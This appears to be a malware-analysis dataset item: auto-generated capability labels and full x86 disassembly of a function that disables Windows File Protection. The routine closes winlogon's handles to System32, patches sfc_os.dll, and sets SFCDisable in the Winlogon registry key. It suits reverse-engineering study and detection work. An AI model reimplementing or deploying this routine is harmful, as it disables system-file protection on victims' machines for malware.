Function at 0x4056f4
Capabilities:
Disable system features via registry on windows
Get common file path
Get file size
Link many functions at runtime
Move file
Read file on windows
Set registry value
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8ac
mov dword [ebp - 0x458], 0
mov dword [ebp - 0x8a8], 0x1000
mov dword [ebp - 0x44c], 0
mov dword [ebp - 0x43c], 0
push 0x41b024
push 0x41b020
push 0x41b01c
call fcn.00401a52
cmp dword [0x41b01c], 2
jne 0x40574b
cmp dword [0x41b020], 4
ja 0x405752
xor eax, eax
jmp 0x40613c
mov dword [ebp - 0x448], 0
mov dword [ebp - 0x220], 0
push str.ntdll.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov dword [ebp - 0x894], eax
push str.psapi.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov dword [ebp - 0x450], eax
cmp dword [ebp - 0x894], 0
je 0x40579a
cmp dword [ebp - 0x450], 0
jne 0x4057a1
xor eax, eax
jmp 0x40613c
push str.NtQuerySystemInformation
mov eax, dword [ebp - 0x894]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [0x417284], eax
push str.NtQueryObject
mov ecx, dword [ebp - 0x894]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [0x417288], eax
push str.EnumProcesses
mov edx, dword [ebp - 0x450]
push edx
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [0x4173dc], eax
push str.EnumProcessModules
mov eax, dword [ebp - 0x450]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [0x4173cc], eax
push str.GetModuleFileNameExW
mov ecx, dword [ebp - 0x450]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [0x4173d0], eax
cmp dword [0x417284], 0
je 0x405841
cmp dword [0x417288], 0
je 0x405841
cmp dword [0x4173dc], 0
je 0x405841
cmp dword [0x4173cc], 0
je 0x405841
cmp dword [0x4173d0], 0
jne 0x405848
xor eax, eax
jmp 0x40613c
push 0x208
lea edx, [ebp - 0x668]
push edx
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
push str.winlogon.exe
lea eax, [ebp - 0x668]
push eax
call dword [sym.imp.MSVCRT.dll_wcscat]
add esp, 8
call fcn.00401ea8
test eax, eax
jne 0x40587f
xor eax, eax
jmp 0x40613c
mov dword [ebp - 0x880], 0x400
cmp dword [ebp - 0x44c], 0
je 0x4058b6
mov ecx, dword [ebp - 0x44c]
push ecx
push 0
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapFree]
mov edx, dword [ebp - 0x880]
shl edx, 1
mov dword [ebp - 0x880], edx
mov eax, dword [ebp - 0x880]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
mov dword [ebp - 0x44c], eax
cmp dword [ebp - 0x44c], 0
jne 0x4058e2
xor eax, eax
jmp 0x40613c
lea ecx, [ebp - 0x884]
push ecx
mov edx, dword [ebp - 0x880]
push edx
mov eax, dword [ebp - 0x44c]
push eax
call dword [0x4173dc]
test eax, eax
jne 0x405908
xor eax, eax
jmp 0x40613c
mov ecx, dword [ebp - 0x884]
cmp ecx, dword [ebp - 0x880]
je 0x405889
mov edx, dword [ebp - 0x884]
shr edx, 2
mov dword [ebp - 0x884], edx
mov dword [ebp - 0x8a4], 0
jmp 0x405944
mov eax, dword [ebp - 0x8a4]
add eax, 1
mov dword [ebp - 0x8a4], eax
mov ecx, dword [ebp - 0x8a4]
cmp ecx, dword [ebp - 0x884]
jae 0x405a7f
mov word [ebp - 0x42c], 0
mov edx, dword [ebp - 0x8a4]
mov eax, dword [ebp - 0x44c]
mov ecx, dword [eax + edx*4]
push ecx
push 0
push 0x410
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov dword [ebp - 0x87c], eax
cmp dword [ebp - 0x87c], 0
je 0x405a7a
lea edx, [ebp - 0x880]
push edx
push 4
lea eax, [ebp - 0x434]
push eax
mov ecx, dword [ebp - 0x87c]
push ecx
call dword [0x4173cc]
test eax, eax
je 0x4059e8
push 0x20a
lea edx, [ebp - 0x42c]
push edx
mov eax, dword [ebp - 0x434]
push eax
mov ecx, dword [ebp - 0x87c]
push ecx
call dword [0x4173d0]
test eax, eax
jne 0x4059e6
mov edx, dword [ebp - 0x87c]
push edx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x405935
jmp 0x4059fa
mov eax, dword [ebp - 0x87c]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x405935
mov ecx, dword [ebp - 0x42c]
and ecx, 0xffff
test ecx, ecx
je 0x405a6d
lea edx, [ebp - 0x42c]
push edx
call fcn.00401f8a
add esp, 4
push 0xffffffffffffffff
lea eax, [ebp - 0x668]
push eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x42c]
push ecx
push 1
push 0
call dword [sym.imp.KERNEL32.DLL_CompareStringW]
cmp eax, 2
jne 0x405a5e
mov edx, dword [ebp - 0x8a4]
mov eax, dword [ebp - 0x44c]
mov ecx, dword [eax + edx*4]
mov dword [ebp - 0x88c], ecx
mov edx, dword [ebp - 0x87c]
push edx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x405a7f
mov eax, dword [ebp - 0x43c]
add eax, 1
mov dword [ebp - 0x43c], eax
mov ecx, dword [ebp - 0x87c]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x405935
cmp dword [ebp - 0x44c], 0
je 0x405a9e
mov edx, dword [ebp - 0x44c]
push edx
push 0
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapFree]
mov eax, dword [ebp - 0x88c]
push eax
push 0
push pe_nt_image_headers32
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov dword [ebp - 0x430], eax
cmp dword [ebp - 0x430], 0
jne 0x405ac5
xor eax, eax
jmp 0x40613c
lea ecx, [ebp - 0x8a8]
push ecx
push 0
push 0
push 0x10
call dword [0x417284]
mov dword [ebp - 0x438], eax
cmp dword [ebp - 0x438], 0xc0000004
jne 0x405b7e
mov edx, dword [ebp - 0x8a8]
add edx, 0x1000
mov dword [ebp - 0x8a8], edx
cmp dword [ebp - 0x458], 0
je 0x405b1d
push 0x8000
push 0
mov eax, dword [ebp - 0x458]
push eax
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
push 4
push 0x1000
mov ecx, dword [ebp - 0x8a8]
push ecx
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov dword [ebp - 0x458], eax
cmp dword [ebp - 0x458], 0
jne 0x405b56
mov edx, dword [ebp - 0x430]
push edx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
jmp 0x40613c
lea eax, [ebp - 0x8ac]
push eax
mov ecx, dword [ebp - 0x8a8]
push ecx
mov edx, dword [ebp - 0x458]
push edx
push 0x10
call dword [0x417284]
mov dword [ebp - 0x438], eax
jmp 0x405ade
cmp dword [ebp - 0x438], 0
je 0x405baf
push 0x8000
push 0
mov eax, dword [ebp - 0x458]
push eax
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
mov ecx, dword [ebp - 0x430]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
jmp 0x40613c
mov dword [ebp - 0x888], 0
jmp 0x405bca
mov edx, dword [ebp - 0x888]
add edx, 1
mov dword [ebp - 0x888], edx
mov eax, dword [ebp - 0x458]
mov ecx, dword [ebp - 0x888]
cmp ecx, dword [eax]
jae 0x405d13
mov edx, dword [ebp - 0x888]
shl edx, 4
mov eax, dword [ebp - 0x458]
mov ecx, dword [eax + edx + 4]
cmp ecx, dword [ebp - 0x88c]
jne 0x405d0e
push 2
push 0
push 0
lea edx, [ebp - 0x21c]
push edx
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
mov eax, dword [ebp - 0x888]
shl eax, 4
mov ecx, dword [ebp - 0x458]
xor edx, edx
mov dx, word [ecx + eax + 0xa]
push edx
mov eax, dword [ebp - 0x430]
push eax
call dword [sym.imp.KERNEL32.DLL_DuplicateHandle]
test eax, eax
je 0x405d0e
push 0
push 0x214
lea ecx, [ebp - 0x218]
push ecx
push 1
mov edx, dword [ebp - 0x21c]
push edx
call dword [0x417288]
mov dword [ebp - 0x438], eax
cmp dword [ebp - 0x438], 0
jne 0x405d01
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.MSVCRT.dll__wcsupr]
add esp, 4
push str.WINDOWSSYSTEM32
lea ecx, [ebp - 0x210]
push ecx
call fcn.004055bb
add esp, 8
test eax, eax
jne 0x405cad
push str.WINNTSYSTEM32
lea edx, [ebp - 0x210]
push edx
call fcn.004055bb
add esp, 8
test eax, eax
je 0x405cff
mov eax, dword [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 3
push 0
push 0
lea ecx, [ebp - 0x21c]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
mov edx, dword [ebp - 0x888]
shl edx, 4
mov eax, dword [ebp - 0x458]
xor ecx, ecx
mov cx, word [eax + edx + 0xa]
push ecx
mov edx, dword [ebp - 0x430]
push edx
call dword [sym.imp.KERNEL32.DLL_DuplicateHandle]
mov eax, dword [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x405d0e
mov ecx, dword [ebp - 0x21c]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x405bbb
push 0x8000
push 0
mov edx, dword [ebp - 0x458]
push edx
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
mov eax, dword [ebp - 0x430]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0x208
lea ecx, [ebp - 0x42c]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
push 0x208
lea edx, [ebp - 0x874]
push edx
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
lea eax, [ebp - 0x874]
push eax
push str._s_trash_X
lea ecx, [ebp - 0x874]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
cmp dword [0x41b020], 5
jne 0x405da4
cmp dword [0x41b024], 0
jne 0x405da4
push str._sfc.dll
lea edx, [ebp - 0x42c]
push edx
call dword [sym.imp.MSVCRT.dll_wcscat]
add esp, 8
jmp 0x405db9
push str._sfc_os.dll
lea eax, [ebp - 0x42c]
push eax
call dword [sym.imp.MSVCRT.dll_wcscat]
add esp, 8
push 0
push 0
push 3
push 0
push 3
push SysReAllocString
lea ecx, [ebp - 0x42c]
push ecx
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov dword [ebp - 0x8a0], eax
cmp dword [ebp - 0x8a0], 0xffffffff
jne 0x405deb
xor eax, eax
jmp 0x40613c
push 0
mov edx, dword [ebp - 0x8a0]
push edx
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov dword [ebp - 4], eax
push 4
push 0x1000
mov eax, dword [ebp - 4]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov dword [ebp - 0x89c], eax
cmp dword [ebp - 0x89c], 0
jne 0x405e33
mov ecx, dword [ebp - 0x8a0]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
jmp 0x40613c
push 0
lea edx, [ebp - 0x448]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0x89c]
push ecx
mov edx, dword [ebp - 0x8a0]
push edx
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
jne 0x405e80
mov eax, dword [ebp - 0x8a0]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0x8000
push 0
mov ecx, dword [ebp - 0x89c]
push ecx
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
xor eax, eax
jmp 0x40613c
mov edx, dword [ebp - 0x8a0]
push edx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [ebp - 0x89c]
mov dword [ebp - 0x440], eax
mov ecx, dword [ebp - 0x440]
mov edx, dword [ecx + 0x3c]
add edx, dword [ebp - 0x89c]
mov dword [ebp - 0x890], edx
mov eax, dword [ebp - 0x890]
xor ecx, ecx
mov cx, word [eax + 0x14]
mov edx, dword [ebp - 0x890]
lea eax, [edx + ecx + 0x18]
mov dword [ebp - 0x454], eax
mov ecx, dword [ebp - 0x454]
mov edx, dword [ecx + 0x14]
add edx, dword [ebp - 0x89c]
mov dword [ebp - 0x898], edx
mov dword [ebp - 0x444], 0
jmp 0x405efa
mov eax, dword [ebp - 0x444]
add eax, 1
mov dword [ebp - 0x444], eax
mov ecx, dword [ebp - 0x454]
mov edx, dword [ecx + 0x10]
sub edx, 0xa
cmp dword [ebp - 0x444], edx
jae 0x405fae
mov eax, dword [ebp - 0x898]
add eax, dword [ebp - 0x444]
xor ecx, ecx
mov cl, byte [eax]
cmp ecx, 0x8b
jne 0x405fa9
mov edx, dword [ebp - 0x898]
add edx, dword [ebp - 0x444]
xor eax, eax
mov al, byte [edx + 1]
cmp eax, 0xc6
jne 0x405fa9
mov ecx, dword [ebp - 0x898]
add ecx, dword [ebp - 0x444]
xor edx, edx
mov dl, byte [ecx + 2]
cmp edx, 0xa3
jne 0x405fa9
mov eax, dword [ebp - 0x898]
add eax, dword [ebp - 0x444]
xor ecx, ecx
mov cl, byte [eax + 7]
cmp ecx, 0x3b
jne 0x405fa9
mov edx, dword [ebp - 0x898]
add edx, dword [ebp - 0x444]
xor eax, eax
mov al, byte [edx + 9]
cmp eax, 0x74
jne 0x405fa9
mov ecx, dword [ebp - 0x898]
add ecx, dword [ebp - 0x444]
xor edx, edx
mov dl, byte [ecx + 0xb]
cmp edx, 0x3b
jne 0x405fa9
mov dword [ebp - 0x220], 1
jmp 0x405fae
jmp 0x405eeb
cmp dword [ebp - 0x220], 0
jne 0x405fbc
jmp 0x406137
mov eax, dword [ebp - 0x898]
add eax, dword [ebp - 0x444]
mov byte [eax + 1], 0x90
mov ecx, dword [ebp - 0x898]
add ecx, dword [ebp - 0x444]
mov byte [ecx], 0x90
lea edx, [ebp - 0x874]
push edx
lea eax, [ebp - 0x42c]
push eax
call dword [sym.imp.KERNEL32.DLL_MoveFileW]
push 0
push 0x80
push 2
push 0
push 1
push 0x40000000
lea ecx, [ebp - 0x42c]
push ecx
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov dword [ebp - 0x8a0], eax
cmp dword [ebp - 0x8a0], 0xffffffff
jne 0x406038
push 0x8000
push 0
mov edx, dword [ebp - 0x89c]
push edx
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
xor eax, eax
jmp 0x40613c
push 0
lea eax, [ebp - 0x448]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 0x89c]
push edx
mov eax, dword [ebp - 0x8a0]
push eax
call dword [sym.imp.KERNEL32.DLL_WriteFile]
mov ecx, dword [ebp - 0x8a0]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0x8000
push 0
mov edx, dword [ebp - 0x89c]
push edx
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
lea eax, [ebp - 0x45c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 0x878], eax
cmp dword [ebp - 0x878], 0
je 0x4060ab
xor eax, eax
jmp 0x40613c
mov dword [ebp - 0x448], 0xffffff9d
push 4
lea ecx, [ebp - 0x448]
push ecx
push 4
push 0
push str.SFCDisable
mov edx, dword [ebp - 0x45c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [ebp - 0x878], eax
cmp dword [ebp - 0x878], 0
je 0x4060e7
xor eax, eax
jmp 0x40613c
mov dword [ebp - 0x448], 0
push 4
lea eax, [ebp - 0x448]
push eax
push 4
push 0
push str.SFCScan
mov ecx, dword [ebp - 0x45c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [ebp - 0x878], eax
cmp dword [ebp - 0x878], 0
je 0x406123
xor eax, eax
jmp 0x40613c
mov edx, dword [ebp - 0x45c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
jmp 0x40613c
jmp 0x406066
mov esp, ebp
pop ebp
ret